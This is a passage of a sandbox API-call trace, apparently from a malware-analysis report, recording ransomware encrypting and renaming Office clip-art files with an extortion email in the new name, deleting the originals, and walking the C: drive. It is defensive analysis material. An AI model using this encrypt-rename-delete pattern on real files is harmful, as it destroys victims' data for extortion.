	[0186.368] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.368] lstrlenW (lpString=".ppt") returned 4
	[0186.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.368] lstrlenW (lpString=".zip") returned 4
	[0186.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.368] lstrlenW (lpString=".rar") returned 4
	[0186.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString=".bz2") returned 4
	[0186.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString=".7z") returned 3
	[0186.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.368] lstrlenW (lpString=".dbf") returned 4
	[0186.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.369] lstrlenW (lpString=".1cd") returned 4
	[0186.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0186.369] lstrlenW (lpString=".jpg") returned 4
	[0186.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.369] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.369] lstrlenW (lpString="J0153307.WMF") returned 12
	[0186.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.371] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=15448) returned 1
	[0186.371] CloseHandle (hObject=0x55c) returned 1
	[0186.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 0x220
	[0186.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.371] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.371] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.372] GetLastError () returned 0x0
	[0186.373] ReadFile (in: hFile=0x55c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x3c58, lpOverlapped=0x0) returned 1
	[0186.535] WriteFile (in: hFile=0x2d0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3c60, lpOverlapped=0x0) returned 1
	[0186.543] ReadFile (in: hFile=0x55c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.544] WriteFile (in: hFile=0x2d0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.544] SetEndOfFile (hFile=0x2d0) returned 1
	[0186.544] CloseHandle (hObject=0x2d0) returned 1
	[0186.544] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.544] SetEndOfFile (hFile=0x55c) returned 1
	[0186.546] CloseHandle (hObject=0x55c) returned 1
	[0186.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 1
	[0188.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.250] lstrlenW (lpString=".doc") returned 4
	[0188.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.250] lstrlenW (lpString=".docx") returned 5
	[0188.250] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0188.250] lstrlenW (lpString=".pdf") returned 4
	[0188.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.250] lstrlenW (lpString=".xls") returned 4
	[0188.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.250] lstrlenW (lpString=".xlsx") returned 5
	[0188.250] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0188.250] lstrlenW (lpString=".ppt") returned 4
	[0188.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.250] lstrlenW (lpString=".zip") returned 4
	[0188.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.250] lstrlenW (lpString=".rar") returned 4
	[0188.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.250] lstrlenW (lpString=".bz2") returned 4
	[0188.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.251] lstrlenW (lpString=".7z") returned 3
	[0188.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.251] lstrlenW (lpString=".dbf") returned 4
	[0188.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.251] lstrlenW (lpString=".1cd") returned 4
	[0188.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.251] lstrlenW (lpString=".jpg") returned 4
	[0188.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.251] lstrlenW (lpString=".doc") returned 4
	[0188.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.251] lstrlenW (lpString=".docx") returned 5
	[0188.251] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0188.251] lstrlenW (lpString=".pdf") returned 4
	[0188.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.251] lstrlenW (lpString=".xls") returned 4
	[0188.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.251] lstrlenW (lpString=".xlsx") returned 5
	[0188.251] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0188.251] lstrlenW (lpString=".ppt") returned 4
	[0188.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.251] lstrlenW (lpString=".zip") returned 4
	[0188.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.252] lstrlenW (lpString=".rar") returned 4
	[0188.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.252] lstrlenW (lpString=".bz2") returned 4
	[0188.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.252] lstrlenW (lpString=".7z") returned 3
	[0188.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.252] lstrlenW (lpString=".dbf") returned 4
	[0188.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.252] lstrlenW (lpString=".1cd") returned 4
	[0188.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68
	[0188.252] lstrlenW (lpString=".jpg") returned 4
	[0188.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.252] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0188.252] lstrlenW (lpString="J0157831.WMF") returned 12
	[0188.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0188.537] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=11396) returned 1
	[0188.537] CloseHandle (hObject=0x540) returned 1
	[0188.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 0x220
	[0188.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0188.538] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.538] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0188.539] GetLastError () returned 0x0
	[0188.539] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2c84, lpOverlapped=0x0) returned 1
	[0188.543] WriteFile (in: hFile=0x444, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2c90, lpOverlapped=0x0) returned 1
	[0188.544] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.544] WriteFile (in: hFile=0x444, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.545] SetEndOfFile (hFile=0x444) returned 1
	[0188.545] CloseHandle (hObject=0x444) returned 1
	[0188.548] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.548] SetEndOfFile (hFile=0x540) returned 1
	[0188.552] CloseHandle (hObject=0x540) returned 1
	[0188.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 1
	[0188.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.565] lstrlenW (lpString=".doc") returned 4
	[0188.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.565] lstrlenW (lpString=".docx") returned 5
	[0188.565] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0188.565] lstrlenW (lpString=".pdf") returned 4
	[0188.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.565] lstrlenW (lpString=".xls") returned 4
	[0188.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.565] lstrlenW (lpString=".xlsx") returned 5
	[0188.565] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0188.565] lstrlenW (lpString=".ppt") returned 4
	[0188.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.565] lstrlenW (lpString=".zip") returned 4
	[0188.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.565] lstrlenW (lpString=".rar") returned 4
	[0188.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.565] lstrlenW (lpString=".bz2") returned 4
	[0188.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString=".7z") returned 3
	[0188.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.566] lstrlenW (lpString=".dbf") returned 4
	[0188.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.566] lstrlenW (lpString=".1cd") returned 4
	[0188.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.566] lstrlenW (lpString=".jpg") returned 4
	[0188.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.566] lstrlenW (lpString=".doc") returned 4
	[0188.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString=".docx") returned 5
	[0188.566] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0188.566] lstrlenW (lpString=".pdf") returned 4
	[0188.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString=".xls") returned 4
	[0188.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.566] lstrlenW (lpString=".xlsx") returned 5
	[0188.566] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0188.566] lstrlenW (lpString=".ppt") returned 4
	[0188.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.566] lstrlenW (lpString=".zip") returned 4
	[0188.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.566] lstrlenW (lpString=".rar") returned 4
	[0188.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString=".bz2") returned 4
	[0188.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.566] lstrlenW (lpString=".7z") returned 3
	[0188.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.567] lstrlenW (lpString=".dbf") returned 4
	[0188.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.567] lstrlenW (lpString=".1cd") returned 4
	[0188.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68
	[0188.567] lstrlenW (lpString=".jpg") returned 4
	[0188.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.567] lstrlenW (lpString=".id-") returned 4
	[0188.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fcb8 | out: hHeap=0x710000) returned 1
	[0188.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad8a8 | out: hHeap=0x710000) returned 1
	[0188.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3870940 | out: hHeap=0x710000) returned 1
	[0188.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3880948 | out: hHeap=0x710000) returned 1
	[0188.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3b7d020 | out: hHeap=0x710000) returned 1
	[0188.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fca0 | out: hHeap=0x710000) returned 1
	[0188.574] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.574] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fe8
	[0188.574] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068d48
	[0188.574] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068d48, Size=0x20) returned 0x392a038
	[0188.574] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.575] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.575] Wow64DisableWow64FsRedirection (in: OldValue=0x2e6ff50 | out: OldValue=0x2e6ff50*=0x1) returned 1
	[0188.575] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x392a038 | out: hHeap=0x710000) returned 1
	[0188.575] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1

Thread:
	id = 42
	os_tid = 0xd90

	[0159.325] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3890950
	[0159.326] lstrlenW (lpString="C:") returned 2
	[0159.326] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x76ec68
	[0159.326] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0159.326] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0159.326] lstrlenW (lpString="$GetCurrent") returned 11
	[0159.326] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0159.326] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0159.327] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0159.327] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0159.328] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.328] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0159.328] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0159.328] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0159.328] lstrlenW (lpString="Logs") returned 4
	[0159.329] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0159.329] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.329] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0159.329] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e8e8
	[0159.332] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.332] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a3ab30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a3ab30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34ad347e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DOWNLE~1.Z9")) returned 1
	[0159.332] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9") returned 79
	[0159.332] lstrlenW (lpString=".1cd") returned 4
	[0159.332] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0159.332] lstrlenW (lpString=".3ds") returned 4
